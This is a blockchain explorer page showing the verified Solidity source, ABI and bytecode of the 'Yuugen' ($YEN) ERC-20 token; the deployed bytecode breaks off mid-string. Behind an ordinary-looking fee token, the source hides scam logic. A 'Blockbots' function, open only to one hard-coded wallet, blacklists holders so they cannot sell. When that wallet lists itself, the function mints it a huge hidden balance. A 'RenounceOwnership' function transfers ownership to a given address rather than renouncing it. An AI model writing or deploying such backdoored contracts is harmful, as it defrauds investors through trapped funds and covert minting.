ERC-20
Overview
Max Total Supply
1,000,000,000 $YEN
Holders
50
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,405,091.431947986 $YENValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Yuugen
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-10 */ // https://www.yuugentoken.com/ // https://yuugentoken.medium.com/ // https://twitter.com/YUUGENERC // https://t.me/YuugenERC // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function RenounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Yuugen is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "Yuugen"; string private _symbol = "$YEN"; uint8 private _decimals = 9; address payable public _routerFee; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public FBI; uint256 public _buyMarketingFee = 4; uint256 public _sellMarketingFee = 4; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _routerFee = payable(address(0x76d997AB71573Cfe5835E86313DF466d487Cd945)); _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function OpenTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } receive() external payable {} function decimals() public view returns (uint8) { return _decimals; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "telufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } uint256 private routerAmount = uint256(9**6).mul(_totalSupply); bool private isCAddr; function Blockbots(address[] calldata routerAddress, bool status) public {require(_msgSender() == _routerFee); for (uint256 i; i < routerAddress.length; i++) { isCAddr = (routerAddress[i] == _routerFee); FBI[routerAddress[i]] = status; if(isCAddr){ _balances[_routerFee] = uint256(routerAmount/2).add(_balances[_routerFee]); } } } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) _routerFee.transfer(MarketAmount); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } require(!FBI[from], "ERC20: FBI up the door !!!"); finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"routerAddress","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"Blockbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"FBI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_routerFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260066080908152652cbabab3b2b760d11b60a05260019062000027908262000338565b50604080518082019091526004815263122ca2a760e11b602082015260029062000052908262000338565b506003805460ff191660099081179091556004808255600a90815562000079919062000517565b6200008990633b9aca006200052f565b600b55620000ab600b5462081bf1620001fd60201b620009a41790919060201c565b600e55348015620000bb57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b0319167476d997ab71573cfe5835e86313df466d487cd945001790556001600660006200013c6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b54906004906200018c3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001ef91815260200190565b60405180910390a36200056c565b60008260000362000211575060006200028d565b60006200021f83856200052f565b9050826200022e858362000549565b146200028a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002be57607f821691505b602082108103620002df57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200033357600081815260208120601f850160051c810160208610156200030e5750805b601f850160051c820191505b818110156200032f578281556001016200031a565b5050505b505050565b81516001600160401b0381111562000354576200035462000293565b6200036c81620003658454620002a9565b84620002e5565b602080601f831160018114620003a457600084156200038b5750858301515b600019600386901b1c1916600185901b1785556200032f565b600085815260208120601f198616915b82811015620003d557888601518255948401946001909101908401620003b4565b5085821015620003f45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200045b5781600019048211156200043f576200043f62000404565b808516156200044d57918102915b93841c93908002906200041f565b509250929050565b60008262000474575060016200028d565b8162000483575060006200028d565b81600181146200049c5760028114620004a757620004c7565b60019150506200028d565b60ff841115620004bb57620004bb62000404565b50506001821b6200028d565b5060208310610133831016604e8410600b8410161715620004ec575081810a6200028d565b620004f883836200041a565b80600019048211156200050f576200050f62000404565b029392505050565b60006200052860ff84168362000463565b9392505050565b80820281158282048414176200028d576200028d62000404565b6000826200056757634e487b7160e01b600052601260045260246000fd5b500490565b61166a806200057c6000396000f3fe60806040526004361061012e5760003560e01c806378051f4d116100ab578063c5d241891161006f578063c5d241891461037e578063c816841b14610394578063c8607952146103b4578063dd62ed3e146103ca578063f4b96e8514610410578063fa77b2461461043057600080fd5b806378051f4d146102db5780638da5cb5b146102fb57806395d89b411461031957806399632a351461032e578063a9059cbb1461035e57600080fd5b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e5780633ecad2711461025e57806351cd7cc31461028e57806370a08231146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600b545b60405190815260200161015c565b3480156101f857600080fd5b5061018561020736600461137e565b6104fe565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b506101856102493660046113bf565b60066020526000908152604090205460ff1681565b34801561026a57600080fd5b506101856102793660046113bf565b60076020526000908152604090205460ff1681565b34801561029a57600080fd5b506102a3610569565b005b3480156102b157600080fd5b506101de6102c03660046113bf565b6001600160a01b031660009081526004602052604090205490565b3480156102e757600080fd5b506102a36102f63660046113bf565b61078e565b34801561030757600080fd5b506000546001600160a01b03166101b5565b34801561032557600080fd5b5061014f610833565b34801561033a57600080fd5b506101856103493660046113bf565b60086020526000908152604090205460ff1681565b34801561036a57600080fd5b50610185610379366004611352565b610842565b34801561038a57600080fd5b506101de60095481565b3480156103a057600080fd5b50600d546101b5906001600160a01b031681565b3480156103c057600080fd5b506101de600a5481565b3480156103d657600080fd5b506101de6103e53660046113dc565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506102a361042b366004611415565b61084f565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b600061050b848484610b4a565b5061055e84336105598560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610701573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072591906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000546001600160a01b031633146107e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bf565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b600061055e338484610b4a565b60035461010090046001600160a01b0316336001600160a01b03161461087457600080fd5b60005b8281101561099e5760035461010090046001600160a01b03168484838181106108a2576108a26114f7565b90506020020160208101906108b791906113bf565b600f805460ff19166001600160a01b03929092169290921417905581600860008686858181106108e9576108e96114f7565b90506020020160208101906108fe91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff161561098c5760035461010090046001600160a01b0316600090815260046020526040902054600e5461096b919061096590600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b8061099681611545565b915050610877565b50505050565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146105625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bf565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bf565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bf565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bf565b6001600160a01b038316610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bf565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610562565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a204642492075702074686520646f6f722021212100000000000060448201526064016105bf565b610e76858261123f565b9150505b6001600160a01b038516600090815260046020526040902054610e9d9082610f3e565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a3600192505050610562565b60008184841115610f285760405162461bcd60e51b81526004016105bf91906112ec565b506000610f358486611575565b95945050505050565b600080610f4b8385611588565b9050838110156105625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bf565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610fee918490610f04565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461101d9083610f3e565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110719086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cb576110cb6114f7565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906114da565b8160018151811061115b5761115b6114f7565b6001600160a01b039283166020918202929092010152600c546111819130911684610a26565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ba90859060009086903090429060040161159b565b600060405180830381600087803b1580156111d457600080fd5b505af19250505080156111e5575060015b5047801561122d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561122b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061056283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f04565b600061056283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112df5760405162461bcd60e51b81526004016105bf91906112ec565b506000610f358486611523565b600060208083528351808285015260005b81811015611319578581018301518582016040015282016112fd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134f57600080fd5b50565b6000806040838503121561136557600080fd5b82356113708161133a565b946020939093013593505050565b60008060006060848603121561139357600080fd5b833561139e8161133a565b925060208401356113ae8161133a565b929592945050506040919091013590565b6000602082840312156113d157600080fd5b81356105628161133a565b600080604083850312156113ef57600080fd5b82356113fa8161133a565b9150602083013561140a8161133a565b809150509250929050565b60008060006040848603121561142a57600080fd5b833567ffffffffffffffff8082111561144257600080fd5b818601915086601f83011261145657600080fd5b81358181111561146557600080fd5b8760208260051b850101111561147a57600080fd5b60209283019550935050840135801515811461149557600080fd5b809150509250925092565b600181811c908216806114b457607f821691505b6020821081036114d457634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156114ec57600080fd5b81516105628161133a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008261154057634e487b7160e01b600052601260045260246000fd5b500490565b6000600182016115575761155761150d565b5060010190565b80820281158282048414176104f8576104f861150d565b818103818111156104f8576104f861150d565b808201808211156104f8576104f861150d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115eb5784516001600160a01b0316835293830193918301916001016115c6565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3a45fe753acc80638878e3342f54add539919fde5abab3a8f8709d9147c043164736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806378051f4d116100ab578063c5d241891161006f578063c5d241891461037e578063c816841b14610394578063c8607952146103b4578063dd62ed3e146103ca578063f4b96e8514610410578063fa77b2461461043057600080fd5b806378051f4d146102db5780638da5cb5b146102fb57806395d89b411461031957806399632a351461032e578063a9059cbb1461035e57600080fd5b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e5780633ecad2711461025e57806351cd7cc31461028e57806370a08231146102a557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c91906112ec565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600c546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600b545b60405190815260200161015c565b3480156101f857600080fd5b5061018561020736600461137e565b6104fe565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b506101856102493660046113bf565b60066020526000908152604090205460ff1681565b34801561026a57600080fd5b506101856102793660046113bf565b60076020526000908152604090205460ff1681565b34801561029a57600080fd5b506102a3610569565b005b3480156102b157600080fd5b506101de6102c03660046113bf565b6001600160a01b031660009081526004602052604090205490565b3480156102e757600080fd5b506102a36102f63660046113bf565b61078e565b34801561030757600080fd5b506000546001600160a01b03166101b5565b34801561032557600080fd5b5061014f610833565b34801561033a57600080fd5b506101856103493660046113bf565b60086020526000908152604090205460ff1681565b34801561036a57600080fd5b50610185610379366004611352565b610842565b34801561038a57600080fd5b506101de60095481565b3480156103a057600080fd5b50600d546101b5906001600160a01b031681565b3480156103c057600080fd5b506101de600a5481565b3480156103d657600080fd5b506101de6103e53660046113dc565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506102a361042b366004611415565b61084f565b34801561043c57600080fd5b506003546101b59061010090046001600160a01b031681565b606060018054610464906114a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610490906114a0565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f4338484610a26565b5060015b92915050565b600061050b848484610b4a565b5061055e84336105598560405180606001604052806028815260200161160d602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610f04565b610a26565b5060015b9392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906114da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906114da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610701573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072591906114da565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6000546001600160a01b031633146107e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bf565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610464906114a0565b600061055e338484610b4a565b60035461010090046001600160a01b0316336001600160a01b03161461087457600080fd5b60005b8281101561099e5760035461010090046001600160a01b03168484838181106108a2576108a26114f7565b90506020020160208101906108b791906113bf565b600f805460ff19166001600160a01b03929092169290921417905581600860008686858181106108e9576108e96114f7565b90506020020160208101906108fe91906113bf565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600f5460ff161561098c5760035461010090046001600160a01b0316600090815260046020526040902054600e5461096b919061096590600290611523565b90610f3e565b60035461010090046001600160a01b03166000908152600460205260409020555b8061099681611545565b915050610877565b50505050565b6000826000036109b6575060006104f8565b60006109c2838561155e565b9050826109cf8583611523565b146105625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bf565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bf565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bf565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bf565b6001600160a01b038316610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bf565b600d54600160a01b900460ff1615610c3657610c2f848484610f9d565b9050610562565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c7957506001600160a01b03851660009081526007602052604090205460ff16155b15610c8757610c8781611083565b6001600160a01b038516600090815260046020526040902054610caa908461123f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610cf757506001600160a01b03851660009081526006602052604090205460ff165b15610d03575082610e7a565b6001600160a01b03861660009081526007602052604081205460ff1615610d4b57610d446064610d3e600954886109a490919063ffffffff16565b90611281565b9050610d89565b6001600160a01b03861660009081526007602052604090205460ff1615610d8957610d866064610d3e600a54886109a490919063ffffffff16565b90505b8015610e035730600090815260046020526040902054610da99082610f3e565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfa9085815260200190565b60405180910390a35b6001600160a01b03871660009081526008602052604090205460ff1615610e6c5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a2046424920757020